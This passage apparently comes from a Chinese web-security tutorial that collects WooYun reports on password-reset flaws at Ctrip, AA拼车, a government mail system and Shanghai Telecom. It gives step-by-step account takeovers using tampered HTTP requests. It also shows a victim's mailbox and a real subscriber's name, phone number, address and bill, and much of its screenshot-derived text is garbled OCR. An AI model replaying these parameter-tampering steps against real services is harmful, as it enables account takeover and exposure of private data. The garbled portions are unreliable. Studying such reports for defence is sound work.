<pre>Q plennency network sources in varv class='inforl_body'&gt; varv class='fnot_lody'&gt; varv class='fnot_logy'&gt; valv class='font_userinfo vass-/pp vassing sources vassing sources</pre>	<pre>immeme Promes Resources A /div&gt; pr'&gt; sperfect" title="\$dhfal oid(0)" class="nobinding oid(0)" onclick="set('mo spg: d="hiddep_dives</pre>	uduis Consone '≻己完善. 'onclicke"toUserIr pileBind','手机绑定\	nfo('/user/userlset 段置')" class="nocer	tUserInfo.actio rtifi" title∽"9	on', '刘 <mark></mark> ', 第定手机": =	/a>	30361')"	" title="提款银行">:	◆ St eler } .dii F # # # # #
html body div.dialogl.ayout	Cancel								Find

### 2.5.6 服务器验证

### a. 最终提交步骤

案例:携程旅行网任意老板密码修改(庆在 wooyun 第 100 洞)

携程的密码重置功能相当强大,支持"用户名"、"手机号"、"邮箱帐号"、"卡号"重置;换 句话说,只要我们只要以上4种信息中的任意一种,便可使用该功能重置相应用户的密码。 那么且看我是如何重置任意老板的用户密码的!! 首先注册两枚用户,sina.com用户和 sina.cn用户,对 sina.cn用户进行密码重置;

6 800-	820-6666	1010	0-6666(免书	(话费) 登	录合作卡注册				我的携	星▼ 积分奖
4	()	< 携	trip 禾呈		<b>URA</b>		风易	12 <u></u> #∓ <i>}</i> ₽	現現	减价
首页	旅游度	假目	国内酒店	海外酒店	惠选酒店	国内机票	国际机票	团购特卖	礼品卡	目的地探索
<mark>〕重置</mark> 请输	<b>登录密码</b> 入登录名:	用户名/	卡号/手机号/	邮箱		功能相	目当强大噢!			
请输	入验证码:		提3	3154. <b>≢</b>	ī不清,换—张					
									WWW.WO	oyun.org

2)填入相应的 sina. cn 用户的邮箱帐号,点击下一步,使用绑定邮箱进行密码重置;

€ 800-820-6666 🔒 1010-666	6(免长话费) 登录合作卡注册		我的携程 👻 积分奖励帮助中心
營≝₩		风氛 12₅#抢	月月狂滅 天天低价 天天低价
首页 旅游度假 国内浦	百店 海外酒店 惠选酒店 国内机票	国际机票 团购特卖	(1888) 礼品卡 目的地探索 高铁动车
重置登录密码 用户: E	19892332 这个信息很	重要哦	
	您可以通过有效的绑定手机重置登录密码。		于机验证重器
	您可以通过有效的绑定邮箱重置登录密码。 我	们使用这个来重置密码	邮箱验证重置
C	如果您的登录名未绑定手机和邮箱,将无法通过以 固话 800-820-6666 手机 1010-6666 非大陆地区	以上方式找回。您可以致电客服进行 可拨打86-21-34064888。	人工服务。
			www.wooyun.org

3) 登录 sina. cn 邮箱获取到系统发送的密码重置链接;


4)访问系统发送的密码重置链接,进行密码重置;

6 800-820-6	666 🔒 1	010-6666(免	长话费)	登录 合作卡 注册			
6	≥ 1	:trip 県 禾皇		<b>LIKA</b>		风易	<b>12</b> ₅ਜ <b>}</b> ĝ
首页旅	、游度假	国内酒店	海外酒店	惠选酒店	国内机票	国际机票	团购特卖
首页 就	₹ 第 第 第 第 第 第 	国内酒店 用户: E19892	海外酒店 2332	惠选酒店	国内机票	国际机票	团购特卖
首页 就 重置登录 新密码	x游度假 密码 B:	<b>国内酒店</b> 用户: E19892	海外酒店 2332 28	惠选酒店 6-20位字符	<b>国内机票</b>	国际机票	<b>团购特卖</b> 组成,不能含有空

5) 设置好我们需要重置的密码,点击保存并抓包分析发现数据中一个熟悉的参数;

POST			
/mvctrip/GetPwd/ResetPwd.aspx?T=E065F1BB882E8180AB	F3687485FA7754FAB38EF79233C9A397B324EBC4C3EB7E7AA748A5483BD7(	04382507195F47BA07E76592F1F2C55E77B8B6C99EBF0A	33016
HTTP/1.1			
Host: accounts.ctrip.com			
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0)	Gecko/20100101 Firefox/18.0		
Accept: text/html, application/xhtml+xml, applicatio	n/xml;q=0.9,*/*;q=0.8		
Accept-Language: zh-cn, zh; q=0.8, en-us; q=0.5, en; q=0	.3		
Accept-Encoding: gzip, deflate			
Referer:			
http://accounts.ctrip.com/myctrip/GetPwd/ResetPwd.	aspx?T=E065F1BB882E8180ABF3687485FA7754FAB38EF79233C9A397B324	4EBC4C3EB7E7AA748A5483BD7043B2507195F47BA07E76	592F1F2C
55F77R9B6C66FFF0122C14			
33E//DODOGSSEDFORSSCIE			
Cookie: rt=4_3; Session=SmartLinkCode=C24&SmartLin	kKeyWord=3958629268F83E52B1&SmartLinkQuary=&SmartLinkHost=m1.	.mail.sina.com.cn&SmartLinkLanguage=zh;	
Cookie: rt=4_3; Session=SmartLinkCode=C244SmartLin i v=o=D61=	kKeyWord=3958629268F83E52B14SmartLinkQuary=4SmartLinkHost=m1	.mail.sina.com.cn#SmartLinkLanguage=zh;	09;
Cookie: rt=4_3; Session=SmartLinkCode=C244SmartLin i_v=0=D4i zdata=zdat	kKeyWord=3958629268F83E52B16SmartLinkQuary=6SmartLinkHost=m1	.mail.sina.com.cn4SmartLinkLanguage=zh;	09;
Cookie:rt=4_3; Session=SmartLinkCode=C244SmartLin i v==Dii zdata=zdat	kKeyWord=3958629268F83E52B14SmartLinkQuary=4SmartLinkHost=m1	.mail.sina.com.cn&SmartLinkLanguage=zh; 	99; /// 1
Cockie:tr4_3; Sesion=SmartLinkCode=C246SmartLin i_v=oCi	kKeyVord=9958292260F83E53Bl6SmartLinkQuary=6SmartLinkHost=mi	mail, sina.com.cn&SmartLinkLanguage=zh; 	09; , <b>p</b> ;
Cookie: tt=4_3: Seesion=SmartLinkCode=C24SmartLin ywo=Oil:	k Key Mord=395962926979385528145martLinkQuary=45martLinkHost=mi	.mail.sina.com.cnsSmartLinkLanguage=sh: SFF3B432B 	09; (P);
Configure 1 3 Session=SmartLinkCode=C244SmartLin 1 v=061 uttp:// uttp:// Jogin utt	kKeyVord=3958232267838538165martLinkQuary=65martLinkHost=mi 	<pre>.mail.sina.com.cn.SimartLinkLanguage=sh: </pre>	09; ;
Cookie: tt=4_3: Segsion=SmartLinkCode=C24SmartLink y=o=0:i:= adata=td= utm2=1. login uid bp=939Sli086; bfirv=1=93vZ=93 Connection: keep-alive Content-Type: application/x=www-form-urlencoded	kkeyWord=3950629260F03E52B14SmartLinkOuary=4SmartLinkHost=ml	.mail.sina.com.cnfSmartLinkLanquage=zh;	09; 19-1
Cockie: rt=4 3; Session=SmartLinkCode=C244SmartLin 1 v=0161 utm=7.1 Dogin uida Dogin uida bfp=595\$11056; bf1=v1=3av2=93 Connection: keep-alive Content-Type: application/x=www-form-urlencoded Content-Type: application/x=www-form-urlencoded	kKeyWord=3958232269783E52816SmartLinkQuary=6SmartLinkHost=mi	.mail.sina.com.cnfSmartLinkLanguage=3); 	09; 19-1
Cookie: tt=4_3: Segsion=SmartLinkCode=C24SmartLin iv=o~0i adata=tdat	kkeyWord=3958629269783855814SmartLinkOuary=6SmartLinkHost=mi	mail.sina.com.cnfSmartLinkLanguage=zh;	09; ,,;
Cockie: rt=1 3; Session=SmartLinkCode=C244SmartLin 1 v=0161 utms=1. Dogin uida Drg=59581086; pt1=v1=83ev2=83 Connection: keep-alive Content-Type: application/x=www-form-urlencoded Content-Type: application/x=www-form-urlencoded Content-Type: application/x=www-form-urlencoded Content-Type: application/x=www-form-urlencoded Content-Type: application/x=www-form-urlencoded	kKeyWord=3958629269F83E52816SmartLinkCutary=6SmartLinkHost=mi 素,还记得前面说的那个很重要的东西么。	mail.sina.com.cn.SmartLinkLanguage=3); pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3B432B pFF3	09; ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
Cookie: tt=4_3: Session=SmartLinkCode=C244SmartLin iv=coit.state=SmartLinkCode=C244SmartLink id=code=SmartLinkCode=C244SmartLink ttm=3: login uid=SmartLinkCode=C34SmartLinkCode=C244SmartLink ttm=3: login uid=SmartLinkCode=C34SmartLinkCode=C244SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCode=C34SmartLinkCod	kKeyWord=9598292269783253814SmartLinkOuary=4SmartLinkHost=mi 学 , 还记得前面说的那个很重要的东西么 WENTVALIDATION=%SFWEWBAL6%%SF05LyyO%SFADALH%SBSTTAgLwoBDVD eccl100%24MainContentPlaceHolder%24SavePassword=%B1%3%B4%E6	mail.sina.com.cnfSmartLinkLanguage=zh; 	09; nrol; d=xsser.

6) 是的,在数据中发现唯一标识用户身份的"Uid"信息,而这个信息在密码重置的第二步时,系统会"主动"提供给我们,有了这个信息是不是....;

7)好吧,那我们赶紧去获取 sina. com 用户的"Uid"信息吧;

🤗 800-820-6666  🔒 1010-6666(免长活费) 🛛 💆	录合作卡注册	我的携程。	• 积分奖励帮助中心
		12## 护 月月日通	◎ 加关注 〔
首页 旅游度假 国内酒店 海外酒店	惠选酒店 国内机票 国际机票	· 团购特卖 礼品卡 目	888 的地探索 高铁动车 订
重置登录密码 用户: 11198 87	这就是唯一标识	用户身份的Uid	
您可以通过有效的	邦定手机重置登录密码。	ŧ	机验证重置
您可以通过有效的	绑定邮箱重置登录密码。	ii\$	箱验证重置
如果您的登录名未 固活 800-820-666	掷定手机和邮箱,将无法通过以上方式找回。 3 手机 1010-6666 非大陆地区可拨打86-21-	,您可以致电客服进行人工服务。 34064888。	
		V	www.wooyun.org

8) 使用 sina. com 用户的 Uid 值替换 sina. cn 用户的 Uid 参数并提交;



9) 好吧,系统已经恭喜我"密码修改成功";

₿₿	的携程	+									
(+)	accounts.ctrip.com/my	ctrip/GetPwd/P	wdResetMsg.a	spx?mpsdstate=	:4						<u>ଲ</u> ି ≂ ୯ [
		€ 800-82	0-6666 🔒 1	010-6666(免-	长话费) 登	录合作卡注册				我的携程。	▼ 积分奖励 斠
		4	<u>ال</u>	-trip 其 禾皇		<b>URA</b>		风景	<b>12</b> ен <i>ј</i> е	月月 王 天天低低	
		首页	旅游度假	国内酒店	海外酒店	惠选酒店	国内机票	国际机票	团购特卖	礼品卡 目	的地探索 高铜
		重置至	登录密码								
					5本	<b>5</b> 您,密码重计	置成功。忽观	在可以马上翌	禄或者返回携程前	<mark>á页。</mark>	
										www.w	novun ora

10) Bingo! 返回用户登录页面,使用 sina. com 用户邮箱帐号、刚刚修改的密码成功登录;



PS:获取4种信息的任意一种,我们就能获取用户的Uid信息,那么也就可以成功重置该用户的密码

修复方案:

建议重置过程每个步骤都校验用户身份的合法性!

b. 服务器验证可控内容

案例: AA 拼车网之任意密码找回 2

前面提交过通过爆破验证码找回密码,这里是另外一个地方,也是密码找回 首先看看正常流程密码找回时的数据包:

POST /account/safe/password/find/reset.aspx?do=submit HTTP/1.1 Host: www.aapinche.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-cn, zh;q=0.8, en-us;q=0.5, en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://www.aapinche.cn/ff/safe/password/find/reset.aspx?key=1751692&value=D5E8E A76F5CF4B5FE49DC6A3FFCD689EF25EA78E88874F4F19E7C7&other=CAXEBXABCXDXZOAL0VF Content-Length: 38 Cookie: bdshare firstime=1413864086456; ASP.NET_SessionId=o4doyk5aylalrncvlx1pb1ww; aapinche validatecode=code=2652C66B690BFCB25EEDFE46636BFC3; aapinche_find=loginid=xxx@qq.com&userid=17517xx; X-Forwarded-For: 8.8.8.8 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Password=blackmanba&ConfirmPass=blackmanba

存在的问题是服务器在验证时只验证了 loginid 和 userid 是否匹配,匹配就可以重置密码, 所以我们可以抓正常重置密码的数据包,然后提交其他用户的 loginid 和 userid, loginid 可以为邮箱和手机号。 并且这个数据包的存活时间非常长,几个小时都 ok。 那么怎么得到 loginid 和 userid 呢? 往下看

重置任意用户密码步骤:

1,注册一个用户,找回密码抓取数据包

2,可以在拼车页面查看联系方式,找到手机号 例如:http://www.aapinche.cn/yichang/11119889.html 查看联系方式:得到 login-id 手机号码: 13872652111

3, 接下来点击图像, 跳转到链接 http://www.aapinche.cn/user/1461883.html 得到:

user-ID: 1461883

4,在抓取的数据包中,填入对应的 loginid 和 userid, repeat 数据包,重置密码成功

c. 服务器验证验证逻辑为空

案例: 某政企使用邮件系统疑似存在通用设计问题

可影响相关部委邮件系统

详细说明:

邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,通过抓取数据包可通过修改报文, 将找回问题答案参数删除后,直接进行对密码更改;

国家航天局(国防科工局)

*	A https://mail.cnsa.gov.cn	🦁 鬷 🔻 C	📸 - 百度 <ctrl+k></ctrl+k>	Q	☆	Ê	÷	俞	•	-	t
~											

# 国防科工局电子邮件系统



国家国土资源部



技术支持:国土资源部信息中心

# 密码找回

😰 @mail.mlr.gov.cn_百度搜 🗙 💁 WooYun.org   自由平等	× 密码找回 × +
🗲 🕘 mail.mlr.gov.cn/passre.php	👿 嬲 マ C 🛛 📓 <del>-</del> 百度 <ctrl+k></ctrl+k>
	【密码找回】
_	
	通过密码提示问题找回密码
	邮箱地址:tddc_xaj@mail.mlr.gov.cn
	提示问题: <b>zzmm</b>
	问题答案: buzhidao
	新密码: ••••••
	(提示:输入字母、数字、特殊字符的组合且长度不小于6个数值可提高密码安全度)
	新密码确认: ••••••
	No.5 45
	₩3-34 <u>换一张</u>
	下一步

数据包抓取修改

Target Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Options	Alerts	]					
Intercept HTT	P history	WebSocke	ts history	Options												
Request to I	ittp://mail.mi	lr.gov.cn:80	[219.1 <mark>4</mark> 3.7	3.9]												
Forward		rop	Intercep	t is on	Action								Comn	ent this iten	7	:
Raw Params	Headers	Hex														
Host: mail.r User-Agent: Accept: tex1 Accept-Langn Accept-Encoor Referer: htt Cookie: PHPF Connection: Content-Type Content-Leng	Mozilla Mozilla Mozilla Mage: zi ling: g: p://ma EESSID=, keep-a : appl gth: 11	.cn a/5.0 (1 applicat h-cn,zh, zip, de: il.mlr.( a74ipght live ication, 3	Windows tion/xh ;q=0.8, flate gov.cn/ t67tlir /x-www-	NT 6.1, tml+xml, en-us;q passre.p 7mcamc5 form-ur	; WOW64; n ,applicat; =0.5,en;q ² php Bcgo5; LOG lencoded	ev:34.0) ion/xml; =0.3 GIN_AUTH	Gecko/2 :q=0.9,*/ H_CODE=3	0100101 *;q=0.8	Firefo	x/34.(						
passlang=cn	r_pass	ans=buzl	hidaocF	_newpas:	s=admin%2:	1\$40\$23(	F_checko	ode=w54	54F_ans	werpas	3S=%E4%]	B8\$8B\$	E4%B8%(	30% E 6% AD	¥A5	

密码重置成功,账户都是百度得到的(本次以账户为例 tddc_xaj@mail.mir.gov.cn 密码重 置为 admin! @#)请尽快修补漏洞修改密码

😰 @mail.mlr.gov.cn_百度搜 🗙 🏼 🚳 WooYun	.org   自由平等 × 提示		× +					
e mail.mlr.gov.cn/passre.php		😺 🗱 🗵 🤁	<b>警 - </b> 百度 <ctrl+k></ctrl+k>	٩	☆ 🗈	÷	⋒	<b>•</b> ) -
	<ol> <li>提示</li> </ol>							
	(0 0)	3	密码修改成功					
		-	关闭					

登陆成功

>   〇 [] (168封未渡) -	■土资源部电子 × 😡 维护邮箱	* +		C 5
🙆 国土资源部	<b>欢迎急:tddc_xaj@mail.mlr.gov.cn</b> (首页 文件夫 吹作箱	(施助)	後屏 设置 反演  操索邮件	帮助 退出 撥索   ▶
📥 收 信 📝 写 信	收件箱 (共549 封,其中 <u>未读邮件</u> 525 封 全	御论为已读)	h.	
收件箱(130)	□ • 删除 举报垃圾邮件 标记	カ▼ 移动倒▼ 査香▼ 更多▼ 刷新	首页 上页 下页 末页	1/6 🕶
草稿编	一今天 (1封)			
发件箱 垃圾箱(38) 章	<ul> <li>III Subscription</li> <li>III III III III IIII IIII IIII IIII I</li></ul>	关于邮箱系统开级事宜公告: - 为加强公司由他安全管理,请大学在今天下班船必须完成个人邮箱及公共邮	01:02	14.17K
已删除邮件		核查此证信息-该土地原为我县基本农田,土地面积160余亩,网上查询无任何挂续出让信息	12月26日	4.71M
通知 	🗖 🔤 moprst	RE:tddc_xaj@mail.mlr.gov.cn-tddc_xaj@mail.mlr.gov.cn	12月26日	19.28K
岛 通讯录	• 更早 (97封)			
〒 日程管理	■ 帚力航拍	西安鼎力航治,期待与您合作! · 您好,我们是西安最力能抽团队,如果您的项目中需要就拍,我们将逃战为	12月25日	13.55K
当 其他文件夹(0) + v	1 自己设置 🥐	我司現有(增/值)、商品销售/及其它普通票/据可开:137 1486 2728 赵小姐 QQ:2280 418 618-自己设置 2014/12/23 0	12月23日	8.22K
(1) 邮稿中心(0) + Y	🔲 binaryoptions 💎	How to make money with online trading!- Hi I m Harrison and I want to let you in on a secret. You can start trading today with as little a	12月21日	5.17K
豆 文件中心	sales@smartsolutions.c	Re:draft Quotation- Good day Sir, I sent you an email enquiry last week but i did not receive any response from you r	12月20日	785.26K
阿盘	三 海海	您好本公司有 [ "發88標"] 可开,需要请欧电13666 2739 25 (财务)陈 QQ253 3278 699谢谢,价格从优,均可宣验。- 连赤 2014-12-18 🔋	12月18日	7.68K
邮件搜索	xxyzabcc	RE:tddc_xaj@mail.mlr.gov.cn-tddc_xaj@mail.mlr.gov.cn	12月18日	19.35K
	abb	★★★您原邀请★★★ kym1105CAPE 2015 第十三届中国(广州)国际汽车零部件及用品表资会 [0211-6-2]- kym1105@163.com 编指指	12月16日	141.39K
	🗐 mikej	STH ANNUAL SHOPPING MALLS SENATE HONG KONG APRIL 2015 NEW WORLD MILLENNIUM HOTEL- STH ANNUAL SHOPPING MALLS SENA 0	12月16日	1.01M
	conf_ei179	KHFA +最终截稿日期: 12/26/2014 現代教育、社会科学领域[MESS2015] - 2015 International Conference on Modern Education and Social Scien	12月15日	20.73K
	国家发改委培训中心	tddc_xaj@mail.mir.gov.cn-国家发展和改革委员会培训中心文件 各相关单位: 国家改要培训中心近	12月15日	35.73K
	1 🖸 赵琦	<b>举报毁坏农田 破坏耕地行为!!!</b> -算验的消关部门: 我们是陕西省西安市长安区社曲街亦杜西村三组村民 印	12月12日	7.73M
	- * 奔跑的羚羊	<b>您好:上海国家会计学院:行动事业单位类1月哈尔涛</b> -愈好: 相关通知已发请宣谈,如参加请尽快请写报名去的件图复我处,	12月12日	179.07K
	thelastround	(鉄枪) - 2015能源与环境工程国际会议(ICEEE2015)6 2015年4月11-12日在江苏南京召开会	12月12日	20.2K

# 貌似许多举报邮件, 仅为测试未在深入;



附件是详细的情况说明及取证材料,烦请查收!谢谢

修复方案:

- 1、对密码找回机制进行修改
- 2、或删除密码找回机制

#### 2.5.7 用户身份验证

a. 账号与手机号码的绑定

案例: 上海电信通行证任意密码重置

上海电信通行证任意密码重置,导致大量用户资料泄露,可影响全市天翼手机用户。

详细说明:

http://sh.passport.189.cn/

<b>ピ中国电信</b> 通行证 СНИМА ТЕLЕСОМ ПЛЕСТИСЕ РАКЕРОТЕ		
	0 登录:	
	密码类型: 通用密码 ▼	]
	用户名: 🗐	
	æ 8:	
		433
	验证得:	4-3
	登录	找回密码 首次登陆
	温馨提示	更多>>>
用步骤:		
用步骤: 在登陆页面中选择找回密	"码,输入自己的手机号,获取 [。]	一条短信认证码。
用步骤: 在登陆页面中选择找回密	『码,输入自己的手机号,获取 cn/portal/getSmsPwd.jsp	一条短信认证码。
用步骤: 在登陆页面中选择找回密 → C ↑ ᡨ ᡨ 읍 sh.passport.189.c	否码,输入自己的手机号,获取 <b>cn</b> /portal/getSmsPwd.jsp	一条短信认证码。 8 ^{期9中心}
用步骤: 在登陆页面中选择找回密 → C ff つ・ □ sh.passport.189.c	答码,输入自己的手机号,获取 <b>cn</b> /portal/getSmsPwd.jsp	一条短信认证码。 8 899中心
用步骤: 在登陆页面中选择找回密 → C ↑ ᡨ	答码,输入自己的手机号,获取 cn/portal/getSmsPwd.jsp 通过短信找回密码 手机 月 74 (18916035662 ) でのマー つ	一条短信认证码。
用步骤: 在登陆页面中选择找回密 - → ℃ ♠ ᡨ・ ☐ sh.passport.189.c	答码,输入自己的手机号,获取 . <b>cn</b> /portal/getSmsPwd.jsp 通过短信找回密码 手机号码: 18916035662 [2326] 2	一条短信认证码。 ^{要助中心} 3 ² 5 <u>偏击城回密码</u>

2、chrome 浏览器在接下来的页面中审查元素,将 hidden 的 form 中找到自己的手机号,并 改为目标手机号(仅限上海电信)。

$\leftarrow \rightarrow$ C ff $\neg$ C ff $\neg$	cn/portal/getsmspwd!validateSmsSend.action	<b>③</b> ☆
<b>や中国电信</b> CHINA TELECOM		帮助中心
	18916035662,请输入以下信息完成信息重置	
	短信验证码: 请输入手机获取的验证码	
	设置新密码:	
	确认新密码:	
中国电信集团©2000-20	重査密码 109 名の目的 Cutomer M Cutomer M	Add COOO
Elements Resources Network Sources Time V(table width="700" align="cent V(tbody) (tr)	line Profiles Audits Console er" height="150" class="tab">	
▼ ▼td> ▼ctable id="border" widt  ▼ctbody> ▼	n="500px;" cellpadding="0" cellspacing="0">	:
▼  18916835662,请 <input center"="" type="hide&lt;/th&gt;&lt;td&gt;ign="/> 输入以下信息完成信息重置 len" <mark>name="user_id" id="user_id" value=</mark> "13371896650"> <td></td>		
< <r height="50px;">           &lt;</r>		
□ >Ξ Q html body table tbody tr	td form table.tab tbody tr td table#border tbody tr td input#user_i	d

3、输入步骤2获得的短信验证码及一定强度密码,并提交。

← → C ff ウ - □ sh.passport.189	.cn/portal/getsmspwd!updatePwd.action	🚺 🏠 📓 百月
<b>学中国电信</b> 通行证 Сніпа телесам		帮助中心
	更新密码成功!	
	13371896650,请输入以下信息完成信息重置	
	短信验证码:调输入手机获取的验证码	
	设置新密码:	
	确认新密码:	
	重置密码	

4、使用对方账号及修改后的页面登陆电信通行证、189 邮箱等业务,我这里把涉及测试用 户的通行证密码全部改为"Test123."。



← → C ff ウ・ 🗅 webmail30.189.cn/w2/logon/signOn.do#inbox/1/p1 6 ☆ 図 百度 ् 🗯 🚺 🕂 🖃 189 邮箱~ 0易 96650 [退出] 首页 联系人 附件中心 收件箱 Q. 搜索 1/1-□ 删除 举报 转发 标记为 ▼ 移至 ▼ 收件箱 (4) 共4封,4封未读邮件 全部设为已读 星标邮件 更早(4) 已发送 189邮箱 💮 ☆ 欢迎您使用中国 冲印优惠券,回A或登录mail.189.cn... 10月28日 草稿箱 189邮箱 💮 ☆ 【免费短信提醒 5本月已获赠189邮箱的100条免费自写短... 09月22日 我的账单 189邮箱 💮 ☆ 【免费短信提醒 08月12日 本月已获赠189邮箱的100条免费自写短... 好朋友,值得常用易信联系 其他文件实 189邮箱 🎡 ☆ 中国电信189邮箱 次迎您使用189邮箱,现特赠送您一张6寸6... 07月08日 群邮件 邮件订阅 ▶ 自定义标签 ▶ 其他邮箱 A 0KB/S 11% ← → C ff っ 📓 sh.passport.189.cn/portal/singleInfro.jsp ③ ☆ 〇〇 百度

**学中国电信 通行证**您好! 13371896650 | 安全退出 帮助中心 您好! 欢迎您在此调整您的业务 ⑦ 个人信息维护 登录策略,并完善您的用户信息。 真实姓名:赵铮 🗵 个人信息维护 所属省份:上海 用户邮箱: 🗵 别名设置 身份证号: 00000000002283813 🗵 合作站点 联系电话: 通讯地址: 提交

综上所述,此漏洞可影响全市天翼手机用户,包括网厅、189 邮箱、易信、爱音乐等,就不 一一列举了。。。。

作为一名负责任的白帽子,我认为很有必要补充一些内容,截至目前,影响范围比我想象的 还要大,偶然试了一下网厅,发现189通行证可查询目标用户网厅数据,包括但不限于账单 地址、费用明细、分账序号、设备号码、套餐信息等敏感数据(可查土豪、社工等)。。。

基本资料	我的服务信息	密码管理	□Ⅲ卡类型查询	25
以下资料为您在上海明	电信办理业务时留下的用户信息	,如与您的实际信息不得	符,请您前往营业厅进行更正	0
用户姓名:	赵铮		设备号码:	13371896650
当前状态:	活动		最后状态变更时间:	2007-09-27
号码类型:			入网日期(装机日期):	2007-09-27
套餐名称:	餐名称: 2010科教文卫行业 <b>套</b> 餐		套餐开始日期:	2011-12-01
<b>套餐结束日期:</b> 2013-11-30			所属品牌:	CDMA后付费

<b>杏</b> 毛能 前时间	「叱首工我」	「此弟泅造长素」
		11年1月2月11
<b>学学科世纪</b> CHUNA TELECOM Childs Taleson Cargerster Limited Stangthat Specific		
<b>201300</b> 南汇科教园区学海路28号第- 赵铮	二综合楼311室	电信费帐单 09 月(回执) 发条代码: 发条号码:
打印编号: 00687063		
销帐代码 0310 1820 0037 1644 140	9 0100 0000 5860 14	(盖章处)
应付人民币: 伍拾捌元降	击角	¥58.60
<u> </u>	お よ 角 发 票 INVOICE	¥ 58.60 最后付款日期: 2014.09.30 分帐序号: 69091 062091 结算日期: 2014.08.01-2014.08.31 发条代码:
应付人民币: 伍拾捌元序 中国电信股份有限公司上海分公司 09 月 哈哈···································	击角 <u>     发 票</u> INVOICE INVOICE INVOICE INVOICE	¥ 58.60 最后付款日期: 2014.09.30 分帐序号: 69091 062091 结算日期: 2014.08.01-2014.08.31 发来代码: 发来号码:

¥					
▲ 客户信息管理 >	基本资料	我的服务信息	密码管理	UIII卡类型查询	
费用查询			4	2	
